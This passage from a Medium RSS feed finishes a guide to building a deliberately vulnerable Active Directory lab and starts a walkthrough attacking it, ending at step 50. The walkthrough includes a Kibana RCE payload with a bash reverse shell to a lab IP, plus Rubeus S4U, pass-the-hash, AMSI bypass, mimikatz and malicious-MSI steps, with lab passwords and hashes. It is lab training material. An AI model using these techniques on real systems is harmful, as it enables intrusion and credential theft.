href="https://docs.microsoft.com/en-us/sql/ssms/download-sql-server-management-studio-ssms?view=sql-server-ver16">https://docs.microsoft.com/en-us/sql/ssms/download-sql-server-management-studio-ssms?view=sql-server-ver16</a></p><p>Install Windows SQL Server 2019 first, something important is that choose Customize Installation, because Basic Installation cannot meet our requirements.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/576/0*fEhCmM_QK7eayXNP.png" /></figure><p>During installation, we can leave most pages default, but something needs customization. When selecting Feature, I cannot tell the minimum selections to make the AD set works, but my selections work well.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/505/0*x03hLZWhl61Xlkt9.png" /></figure><p>Then you need to specify instance name, to make it in line with my settings, you can change instance name to DB01.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/564/0*6PVSHS-utmwhAwFa.png" /></figure><p>Next, leave service accounts default. When configuring Authentication Mode, choose Mixed Mode. After that, it is recommended to click Add Current User button to add current local admin to sysadmin. By this way, both sa and local admin account have sysadmin privilege.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/486/0*X4K_7KAkaDAhUIF-.png" /></figure><p>After setting this, we can leave left default and complete the installation. Installing SSMS is simple, we do not need to customize something.</p><p>Run <strong>Sql Server Configuration Manager</strong>, we need to modify few settings. First, click <strong>SQL Server Services -&gt; SQL Server (DB01)</strong>, then select <strong>Log On</strong> tab, change logon account to BLACKOPS\svc_sql, type the correct password. Then, we could need a restart of SQL service.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/576/0*R9cUUFEc5J7jTadP.png" /></figure><p>Second, click <strong>SQL Server Network Configuration -&gt; Protocols for DB01 -&gt; TCP/TP</strong>, enable it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/447/0*uFws71vW2A22NeJX.png" /></figure><p>Then double click it, select <strong>IP Address</strong> tab, leave all <strong>TCP Dynamic Ports</strong> blank, and set all <strong>TCP Port</strong> to 1433.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/326/0*ZDI95Q1uLdCIDGaH.png" /></figure><p>Why we need to disable dynamic ports? Because we will set SPN for svc_sql to make SQL Server supports Kerberos authentication. We also need to set <strong>Start Type</strong> of service <strong>SQL Server Browser</strong> to <strong>Automatic</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/491/0*OZKPeT5gvx3SqMzB.png" /></figure><p>Then, let’s revisit to DC to do some configurations. Run Active Directory Users and Computers, check <strong>Advanced Features</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/318/0*WN_EfsJPFfeaeW6j.png" /></figure><p>Double click SRV1 (Same steps for SRV02), click <strong>Security</strong> tab and <strong>Advanced </strong>button, add a new permission for svc_sql on SRV1.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/576/0*GVMOy8QH69vsT5qB.png" /></figure><p>Select principal as svc_sql, apply this permission on this object only. Clear all default check, but check <strong>Read servicePrincipalName</strong>, <strong>Write servicePrincipalName</strong> properties, and <strong>Validated write to service principal name</strong> permission. This official document explains well: <a href="https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/register-a-service-principal-name-for-kerberos-connections?view=sql-server-ver16">https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/register-a-service-principal-name-for-kerberos-connections?view=sql-server-ver16</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/576/0*lEnTbEWrNG2d9G7I.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/576/0*-OINtZmMlD4pI2sV.png" /></figure><p>By the way, let’s configure DACL and delegation.</p><p>SRV02 is set <strong>unconstrained delegation</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/368/0*juQTalTZ-PSwIWJp.png" /></figure><p>russell.adler has <strong>ForceChangePassword </strong>permission on frank.woods</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/576/0*ntJOKOfqVUaY2TgW.png" /></figure><p>frank.woods has <strong>GeneticWrite </strong>permission on ir_operator</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/576/0*aNbxWEc_ibqCZYxY.png" /></figure><p>df_operator has <strong>GenericWrite</strong> permission on SRV01</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/576/0*6Cd1jeNWqhael0t4.png" /></figure><p>Cool, all set! Back to SRV01, download a tool from <a href="https://www.microsoft.com/en-us/download/details.aspx?id=39046">https://www.microsoft.com/en-us/download/details.aspx?id=39046</a> to help us set SPN automatically. If we did not set proper SPN, it helps us correct it as well. After installing it, run it and connect to the instance, no need to provide any credential. Since we configured proper SPNs, so we do not have to make any change. But if you did not configure SPNs properly, the tool will warn you and you just need to click Fix button.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/576/0*2OnnAucfz_aEJZGO.png" /></figure><p>Now, I believe we successfully set SPN and configure Kerberos authentication for SQL instance. But since the process is complex, I cannot make sure if I miss something. If you follow my steps and cannot reproduce it successfully, please let me know.</p><p>Then, run SSMS 2018, which we installed previously. Change Server name to SRV01\DB01 and select SQL Server Authentication, connect.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/410/0*DItiYkS6lODsrGjt.png" /></figure><p>Check SRV01\DB01’s property, make sure <strong>Allow remote connections to this server</strong> is checked.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/576/0*Na1-j-UbqY9wqNSX.png" /></figure><p>Then, we need to add few logins.</p><p><strong>BLACKOPS\Administrator</strong>: Sysadmin</p><p>Not required, just to make it more realistic.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/556/0*YjQ3H2E-tduDi1NE.png" /></figure><p><strong>BLACKOPS\Domain Users</strong>: Least privilege</p><p>Leave everything default</p><p><strong>BLACKOPS\svc_sql</strong>: Itself is not sysadmin but can impersonate sysadmin.</p><p>Select few permissions for svc_sql, <strong>IMPERSONATE ANY LOGIN</strong> is required.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/556/0*MgAJrrTKm8IPU4FD.png" /></figure><p>By this way, we can abuse impersonate right to get sysadmin privilege. Let’s check if we configured correctly. First, if we successfully integrate Kerberos authentication. Import powerupsql.ps1 script, and enumerate domain instance.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/483/0*125X5Wb9AwzFMbWm.png" /></figure><p>It looks great! Then, access any instance to check if we get a TGS for SQL service. Here, I tested srv01.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/456/0*fM9MrlBO1OojG8ap.png" /></figure><p>Check cached tickets, and I find the TGS, it means Kerberos is integrated successfully.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/576/0*syvDl_HDZzdJkcXV.png" /></figure><p>Then, we need to verify permission assignment. I choose three types of users to check</p><p><strong>helen.park: Least privilege</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/576/0*N4vai0A-YBja6hU5.png" /></figure><p>We can see, helen.park can only access SQL instance and has very limited privilege. She cannot impersonate other logins.</p><p><strong>Administrator: Sysadmin</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/576/0*3A7D61Kt2ZAhjTP6.png" /></figure><p>Domain admin has highest privilege.</p><p>svc_sql: Can impersonate sa to get sysadmin privilege.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/576/0*rcbE8AjN_aixZ1Ya.png" /></figure><p>After impersonation, svc_sql does not have sysadmin privilege. But after impersonate, it has sysadmin privilege.</p><p>So the permission assignment is successful as well.</p><p>Up to now, we can repeat previous steps related in SQL part on SRV02, but just remember to change server/instance value. But then we will configure SQL link on SRV01, I did not configure SQL link on SRV02, but of course you can add one.</p><p>Right click <strong>Server Objects -&gt; Linked Servers,</strong> add a new link. The <strong>General</strong> tab should be like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/576/0*vvRhXLPkbYclNqV1.png" /></figure><p>On <strong>Security </strong>tab, we add a new entry to login mappings, map local login sa to remote login sa. If it is confusing, you can change map to SRV02\Administrator. What does it mean? If our current login is sa, we know we have sysadmin privilege on SRV01. But if we follow the link to reach SRV02, we may not have sysadmin privilege. Since we are designing a misconfiguration, so I just map it to an sysadmin login on SRV02. By this way, we still have sysadmin login when reaching SRV02. And select “Be made using the login’s current security context” option, it is easy to understand.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/554/0*7E8871O2xl5ctP8K.png" /></figure><p>Okay, so we configured SQL link: SRV01 -&gt; SRV02, let’s check it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/576/0*oWL2yBsBHQoZOSlB.png" /></figure><p>The link is correct, then let’s check if we can still have sysadmin privilege on SRV02 via SQL link.</p><p>Before impersonation:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/576/0*x7OrmI41yWKzNErS.png" /></figure><p>We can see if we do not impersonate sa and follow the link, we will get an error, because we did not map svc_sql to SRV02 previously. However, if we impersonate sa, then the result it totally different.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/576/0*aCPQpR664E0ZYtJV.png" /></figure><p>We can access SRV02 with sysadmin privilege! So the permission is configured well.</p><p>After a long journey, we successfully configured SRV01.</p><h3>SERVER 2</h3><p><strong>srv02.blackops.local</strong></p><p><strong>Autologin:</strong> None</p><p><strong>Remote Desktop Login</strong>: Enable RDP</p><p><strong>SQL Instance:</strong> Almost the same as we did on SRV01, but with a different IP/Instance. And no need to add a link, but if you want, that’s totally cool as well.</p><p>We previously have set unconstrained delegation for SRV02.</p><p>Enable <strong>PPL</strong> for SRV02 as well.</p><p>We finally successfully built the whole vulnerable AD set!</p><h3>IN THE END</h3><p>Thanks for spending time on reading such a long article, I really appreciate! This is the first time for me to design a vulnerable AD set, so there is a lot of room for improvement. And though the guide is very detailed, I cannot make sure I did not miss anything. If you follow my steps and still have difficulty making it work, just let me know!</p><p>In the future, if I plan to design more vulneable AD sets, I would like to cover and add more features and vectors such as ADCS abuse, Relay Attack, Phishing and User Simulation, etc.</p><p>Since there is copyright concern, I will make sure if it is legal to share my VM/images. If it is okay, I will share my own VM soon. But building by your own is a good way to learn! I will release the walkthrough of the vulnerable AD soon. I invited my friend (Passed OSCP, CRTO) to test my vulnerable AD set, he reached the 3rd machine after about 24 hours with some hints. And after about 72 hours, he reached DC. Welcome to play with my AD set : D</p><p>Update: Walkthrough of this AD set: <a href="https://gustavshen.medium.com/walkthrough-of-my-vulnerable-ad-set-d56abeae5bac">https://gustavshen.medium.com/walkthrough-of-my-vulnerable-ad-set-d56abeae5bac</a></p><p>Few bug fixes/updates have been made into the article.</p><p>If you think my article is helpful for you, buying me a coffee is always appeciated (<a href="https://ko-fi.com/senzee?ref=onboarding_email_share2"><strong>ko-fi.com/senzee</strong></a><strong>)!</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=451029702c5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Walkthrough of My Vulnerable AD Set]]></title>
            <link>https://gustavshen.medium.com/walkthrough-of-my-vulnerable-ad-set-d56abeae5bac?source=rss-39cded15042e------2</link>
            <guid isPermaLink="false">https://medium.com/p/d56abeae5bac</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[active-directory]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[offensive-security]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Gustav Shen]]></dc:creator>
            <pubDate>Sun, 26 Jun 2022 01:18:07 GMT</pubDate>
            <atom:updated>2022-06-28T01:24:09.176Z</atom:updated>
            <content:encoded><![CDATA[<p>Hi guys, in previous days I designed and built a<strong> difficult</strong> and <strong>complex</strong> vulnerable AD set, I planned to post the guide to reproduce it. However, maybe due to the length, I did not successfully post it on Medium, therefore I posted it on my personal website: <a href="https://www.3x3cut3-4ssemb1y.com/how-to-design-and-build-a-complex-vulnerable-ad-set/"><strong>https://www.3x3cut3-4ssemb1y.com/how-to-design-and-build-a-complex-vulnerable-ad-set/</strong></a>. My personal website is not well maintained, so ignore other parts of it ^ ^</p><p>Today, I would like to share some <strong>bug fixes/updates</strong> on it, as well as the <strong>walkthrough</strong> of this vulnerable AD set.</p><h3>Updates:</h3><p>I think there are some issues with default <strong>Windows Installer</strong>, so a user cannot successfully install an msi package without <strong>GUI </strong>(RDP/VNC). The following steps are workaround to resolve this. I also enable <strong>PPL</strong> to add one more layer of protection.</p><p>1: Add <strong>jason.hudson</strong> to <strong>localgroup RDU</strong> on <strong>SRV01</strong>.</p><p>2: Open <strong>Local Group Policy Editor</strong>, make this setting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/861/1*AbILTYvX5RBfLSs6fl38tg.png" /></figure><p>3. Add <strong>AlwaysInstallElevated reg key</strong> for domain users on <strong>SRV01</strong> under <strong>HKEY_USERS</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/869/1*owx3bAY95l3KRLQrGAeBzQ.png" /></figure><p>4: Remove <strong>svc_sql</strong> from <strong>local group RDU</strong> both on <strong>SRV01</strong> and <strong>SRV02</strong>, i.e., delete <strong>SQL Manager</strong> domain group.</p><p>5: (Optional) Remove IE’s cached password and home website on <strong>SRV02</strong>.</p><p>6: Enable <strong>PPL</strong> for <strong>SRV01</strong> and <strong>SRV02</strong>. You can check this link to follow: <a href="https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/configuring-additional-lsa-protection">https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/configuring-additional-lsa-protection</a></p><h3>Walkthrough</h3><p><strong>Warm Reminder</strong>: I plan to upload VMs to <strong>tryhackme</strong> and apply to make it <strong>public</strong>. So if you want to wait for the approval of my vulnerable AD set on tryhackme and play with it by youself without spoilers, you can stop here : D</p><p>Let’s start!</p><h4>External network -&gt; web01</h4><p>1: Use nmap to scan web01, it opens multiple ports: <strong>22, 25, 80, 110, 139, 143, 445, 993, 995, 5601</strong>.</p><p>Port <strong>80</strong> runs <strong>Apache2</strong>, it has a default page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/848/1*kOAYuCBZyQOSi7TjpOmnJQ.png" /></figure><p>Port <strong>445</strong> runs Samba, it has a <strong>readable/writable</strong> share for an <strong>anonymous user</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/857/1*ulTOoc-wxr9_jzcslB3tQg.png" /></figure><p>Port <strong>5601</strong> runs <strong>Kibana 6.5</strong> web application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/808/1*4fVDbH4fc7VAiioOhfRrQA.png" /></figure><p>2: Kibana’s version is <strong>6.5</strong>, it is vulnerable to a <strong>RCE vulnerability</strong>, we can find the public explolit here: <a href="https://github.com/mpgn/CVE-2019-7609.">https://github.com/mpgn/CVE-2019-7609.</a></p><p>3: Follow the steps to exploit it, the payload is: <strong>.es(*) .props(label.__proto__.env.AAAA=’require(“child_process”).exec(“bash -c \’bash -i&gt;&amp; /dev/tcp/192.168.0.26/4445 0&gt;&amp;1\’”);process.exit()//’) .props(label.__proto__.env.NODE_OPTIONS=’ — require /proc/self/environ’)</strong></p><p>4: Get a reverse shell as <strong>kibana</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/779/1*JttLSeWwPcydFQGPWK1e3A.png" /></figure><p>Enumerate privilege escalation vectors, unfortunately we cannot find a way to escalate our privilege.</p><p>5: However, we find there are multiple user folders on <strong>/home</strong>. But I cannot even enter <strong>mason’s</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/616/1*NtsDByJp8pHHYtlsl-HLKg.png" /></figure><p>6: Go back and scan directories of the web app on port <strong>80</strong>, there is a <strong>wordpress</strong> application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/626/1*IfMb9S5hEXU9xwvnx6KiWg.png" /></figure><p>7: We remember there is a <strong>readable/writable</strong> SMB share called <strong>webapp</strong>, it looks like the <strong>webroot</strong>. So we can <strong>upload a shell</strong> and then access it to get a shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/783/1*LXzma6MPd5eNQKyo_UDDKQ.png" /></figure><p>8: However, after uploading the web shell, we will get <strong>404</strong> error if access it. So I think it could be <strong>backup files</strong> folder.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/783/1*bg0gKTTJCMRF6eRaDQ-8rg.png" /></figure><p>9: Use browser to access the wordpress application, and we find an <strong>article</strong> wrote by <strong>Mason</strong>, as well as a <strong>comment</strong> left by hudson.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/766/1*OGIU8i6krtMKpQrzaiqOpw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/813/1*HFs0hnLDT9-FeJTJgaVVGQ.png" /></figure><p>According to the context, Mason is a <strong>mail admin</strong>, but he likes using weak password like <strong>Password</strong>. We got a possible credential <strong>mailadmin:Password.</strong></p><p>10: Since we get a credential, try to access web01 via <strong>SSH</strong>. However, mailadmin does not have the permission.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/771/1*q9gzrgnOIHyimRRDwpnChQ.png" /></figure><p>11: We see <strong>POP3</strong> is running, so use the credential to authenticate.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/860/1*aZ-5OeP7gjLRAUUljXBKeA.png" /></figure><p>Hudson sends mailadmin an email, according to the context, mason has changed his password to <strong>CIAAgent1984</strong>. So we get another credential <strong>mason:CIAAgent1984</strong>.</p><p>12: Use this credential to log in as Mason via SSH, and it works.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/664/1*rJBfbxf6w3eIs1ZZ9rLeGw.png" /></figure><p>13: Check mason’s <strong>sudo list</strong>, we find that mason can execute <strong>find</strong> with sudo permission. Abuse it and get root privilege.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/784/1*062cUDmbLnUj2YiQtLZvAw.png" /></figure><p>14: Read and transfer <strong>/etc/krb5.keytab</strong> to Kali, then use <strong>keytabextract.py</strong> to extract web01$’s NTLM hash.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/845/1*h9z94vjcKYo2JzFJm2qcJw.png" /></figure><p>15: Use bloodhound-python to collect domain information: <strong>bloodhound-python3 -c ALL -u ‘WEB01$@BLACKOPS.LOCAL’ — hashes 00000000000000000000000000000000:5db7a1891649cef400f8cd6923bb4a69 -d BLACKOPS.LOCAL -ns 192.168.0.56 — dns-tcp</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/860/1*OXY4qfICu4XVJvy9sLfQMQ.png" /></figure><p>16: Upload data to BloodHound, and we find <strong>alex.mason</strong> is a domain user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/514/1*G4-XagVHcE6hqwj_c6OdmA.png" /></figure><h4>web01 -&gt; file01</h4><p>17: mason is a local linux user on web01, while <strong>alex.mason</strong> is a domain user, so Mason could <strong>reuse</strong> his password.</p><p>18: Access file01 as <strong>BLACKOPS\alex.mason</strong> via <strong>SSH</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/524/1*NgMrn25VK6bengyE-mvmNw.png" /></figure><p>19: Enumerate <strong>SUID binaries</strong>, we find multiple privilege escalation vector. But it is interesting that <strong>tcpdump</strong> is also set SUID.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/461/1*YBvYMY-a1Mo5rXUGeFOppA.png" /></figure><p>20: Abuse one of them, and get root privilege.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/474/1*GvsLphFmfFN-PtpRhW2giA.png" /></figure><p>21: Check <strong>helen</strong>’s home folder, and we find a <strong>memo.txt</strong> file. It looks like she is using a script to keep authenticating to <strong>FTP server</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/802/1*8E7d-JyxhewGSpKUX-Yq7Q.png" /></figure><p>22: We know that FTP uses <strong>plaintext communication</strong>, so use <strong>tcpdump</strong> to sniff traffic. We get a plaintext credential: <strong>helen:Summer2022!</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/741/1*89XG40Oy_ICzqS5RPFfwXg.png" /></figure><h4>file01 -&gt; client01</h4><p>23: Check bloodhound, we find <strong>helen.park</strong> is a domain user. So we can reuse Helen’s password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/597/1*Nm4Ti4JcSiFhu3jxkcanzA.png" /></figure><p>24: Helen belongs to <strong>HELPDESK</strong> group, and according to description, this group has <strong>RDP</strong> access to <strong>client01</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/583/1*BLbImWGkOj8usAbTDwPNlg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/683/1*Cx4173gC3hnLe3toNYrK1Q.png" /></figure><p>25: RDP to client01 as helen.park, and get a foothold.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/770/1*3zXd8RZhmgXAzF-f5iIygg.png" /></figure><h4>client01 -&gt; srv01</h4><p>26: Take a look at Helen’s desktop, and I find <strong>Recycle Bin</strong> contains something.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/725/1*_wQFKV3ZwvHTPfc9LXlWTA.png" /></figure><p>27: Recover the file and check its content.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/723/1*E6GEyJ-SCBnPzO50fhh_HQ.png" /></figure><p>28: According to the context, we can know <strong>russell.adler’s</strong> password is <strong>Ajobtodo!</strong> now. Check russell.adler’s permission on BloodHound. Russell has <strong>ForChangePassword </strong>permission over <strong>frank.woods</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/747/1*9TB8Eah1CJr58km05SkeMQ.png" /></figure><p>29: And Woods has <strong>GenericWrite</strong> permission over <strong>ir_operator</strong>. We can <strong>set SPN</strong> for ir_operator and crack ir_operator’s password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/724/1*q8d4SuQyxeqkr_lM4mZU3g.png" /></figure><p>30: Create a <strong>sacrificial session</strong> as <strong>russell.adler</strong>, then <strong>bypass AMSI</strong> and import<strong> powerview.ps1</strong> to change woods’ password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/653/1*E-XFt_W2nYGllN9DJSdcYA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/547/1*k0Imle6219w6OV-mKn3aPg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/807/1*lrkA-icBWriRWHv4UxU4zw.png" /></figure><p>By this way, we successfully changed frank.woods’ password.</p><p>31: Create another sacrificial session as <strong>frank.woods</strong>, and set <strong>SPN</strong> for <strong>ir_operator</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/806/1*iqGEh7xiLU96tSM2J6odqA.png" /></figure><p>32: Kerberoast <strong>ir_operator</strong>, and crack the hash.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/803/1*J6pIPWKhi23Z3Db8JIq7qQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/771/1*vaTs8SEYxuV2kieSHjScgA.png" /></figure><p>The password is <strong>Pass1kirsty</strong>. So the credential is <strong>ir_operator:Pass1kirsty</strong></p><p>33: ir_operator itself does not have any privilege, however I find there is a domain user <strong>df_operator</strong>. Since their job duty is alike, so <strong>credential use</strong> is possible. Create a sacrificial session as <strong>df_operator</strong> with ir_operator’s password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/686/1*RQ7PgHV06Hj03yDbHRTH4A.png" /></figure><p>34: ir_operator has <strong>GenericWrite</strong> permission over computer <strong>SRV01</strong>, so <strong>RBCD</strong> is possible.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/690/1*QN240xstoWNlPh0wQ0E9lA.png" /></figure><p>35: Bypass AMSI, import <strong>powermad.ps1</strong> to <strong>add a new computer</strong>, and then try to download and execute <strong>Rubeus</strong> into memory, but we get an error.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/807/1*WlFOVtIvsUuj9bSNEUqTcA.png" /></figure><p>36: This is due to <strong>.NET AMSI</strong>. We can check the article <a href="https://s3cur3th1ssh1t.github.io/Powershell-and-the-.NET-AMSI-Interface/">https://s3cur3th1ssh1t.github.io/Powershell-and-the-.NET-AMSI-Interface/</a> for more details. Follow the steps to bypass it, and then invoke rubeus to calculate new added computer account’s hash.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/804/1*QLZPVfdQ0Y9FuQJRiq5XfQ.png" /></figure><p>37: Download and import <strong>Microsoft.ActiveDirectory.Management.dll</strong>, let <strong>SRV01 </strong>trusts <strong>my$</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/803/1*_aGwgw3-9u1OmHjP_5Ez0Q.png" /></figure><p>We can see now <strong>SRV01</strong> trusts <strong>my$</strong> now.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/799/1*uHLc-euLoTjBOh4jYecynA.png" /></figure><p>38: Abuse S4U to impersonate <strong>Domain Admin</strong> to have access to <strong>CIFS/SRV01</strong>: <strong>[Rubeus.Program]::Main(“s4u /user:my$ /rc4:3DBDE697D71690A769204BEB12283678 /impersonateuser:administrator /msdsspn:cifs/srv01.blackops.local /ptt”.Split())</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/763/1*kvhH5Wvsi-XYd5c1qXvCeg.png" /></figure><p>However, we get an error, because Administrator is <strong>protected</strong>, it cannot be delegated.</p><p>39: By enumerating, we find that <strong>jason.hudson</strong> is a member of <strong>Monitor Group</strong>, it has <strong>WinRM and RDP</strong> access to <strong>SRV01</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/739/1*DtdGy63KWUzKTNH04hcQGQ.png" /></figure><p>40: So we can impersonate <strong>jason.hudson</strong> to move to SRV01 via WinRM: <strong>[Rubeus.Program]::Main(“s4u /user:my$ /rc4:3DBDE697D71690A769204BEB12283678 /impersonateuser:jason.hudson /msdsspn:cifs/srv01.blackops.local /altservice:cifs,http,host,winrm /ptt”.Split())</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/687/1*0783GQ17L_OJHnPjI2ZJ9Q.png" /></figure><p>This time, we do not get any error.</p><p>41: By this way, we can execute command over <strong>SRV01</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/755/1*HedbGuWp24jiBYEPd7hrZg.png" /></figure><p>42: Set up meterpreter listener, bypass AMSI and execute <strong>powershell shellcode runner</strong> in memory, we get a meterpreter shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/805/1*xerylDimD3l1DpxxjPqt-Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/792/1*2wXKT_jEADrEMTOJl5Y3Sg.png" /></figure><h4>srv01 -&gt; srv02</h4><p>43: Invoke <strong>PowerUp</strong>, and we find jason.hudson’s plaintext password: <strong>jason.hudson:jkhnrjk2020!</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*TKXKQvyQakPwlGIAFknhNQ.png" /></figure><p>jason.hudson is also a member of <strong>local RDU</strong> group, so we can access <strong>SRV01</strong> via <strong>RDP</strong> as jason.hudson.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/641/1*mTA_mNd0jKUf3ZYnDugktQ.png" /></figure><p>44: jason.hudson is configured <strong>AlwaysInstallElevated </strong>privilege, we can abuse it to escalate privilege. However, we also need to <strong>evade AV</strong>, so we cannot use msfvenom to generate msi payload.</p><p>45: To achieve this, we can make use of a tool <strong>wix</strong> (<a href="https://github.com/wixtoolset/wix3/releases/tag/wix3112rtm">https://github.com/wixtoolset/wix3/releases/tag/wix3112rtm</a> ). The steps can be found here: <a href="https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/create-msi-with-wix">https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/create-msi-with-wix</a>. And we can make use of <strong>existing templates</strong> to make it simple: <a href="https://github.com/KINGSABRI/MSI-AlwaysInstallElevated">https://github.com/KINGSABRI/MSI-AlwaysInstallElevated</a></p><p>46: To execute arbitrary command with <strong>SYSTEM</strong> privilege, just modify highlighted command. I choose to add a <strong>new local admin</strong> user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/793/1*EaYP5VIZKosUosb_5QkjbA.png" /></figure><p>47: Execute msi packages, and I added a new local admin user <strong>root</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/571/1*f-PDovd2dF2EQZXUf5Xj6A.png" /></figure><p>48: Switch to root, shut down AV. Then download <strong>mimikatz</strong> and dump credentials. We find <strong>PPL</strong> is stopping us from dumping hashes, so just load <strong>mimidrv.sys</strong> to remove it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/675/1*lYBHG9fhLy50oAu7FahFvA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/652/1*fczAKzlg77081xQx6LtZFg.png" /></figure><p>Then dump hashes, we find <strong>svc_sql’s NTLM hash</strong>: <strong>c905217230dc16016f90de922b2856f0</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/592/1*vAHpjVUQii7NPRsLtOYcoA.png" /></figure><p>49: Use the credential to log in SQL Server with Impacket: <strong>python3 impacket/examples/mssqlclient.py -p 1433 -windows-auth blackops/svc_sql@192.168.0.54 -hashes 00000000000000000000000000000000:c905217230dc16016f90de922b2856f0</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/799/1*qJ11KIRQIXqowDDfGszZGw.png" /></figure><p>50: Enumerate svc_sql’s privilege, and I find that though <strong>svc_sql</strong> is not an sysadmin, but it can <strong>impersonate sa</strong> to become 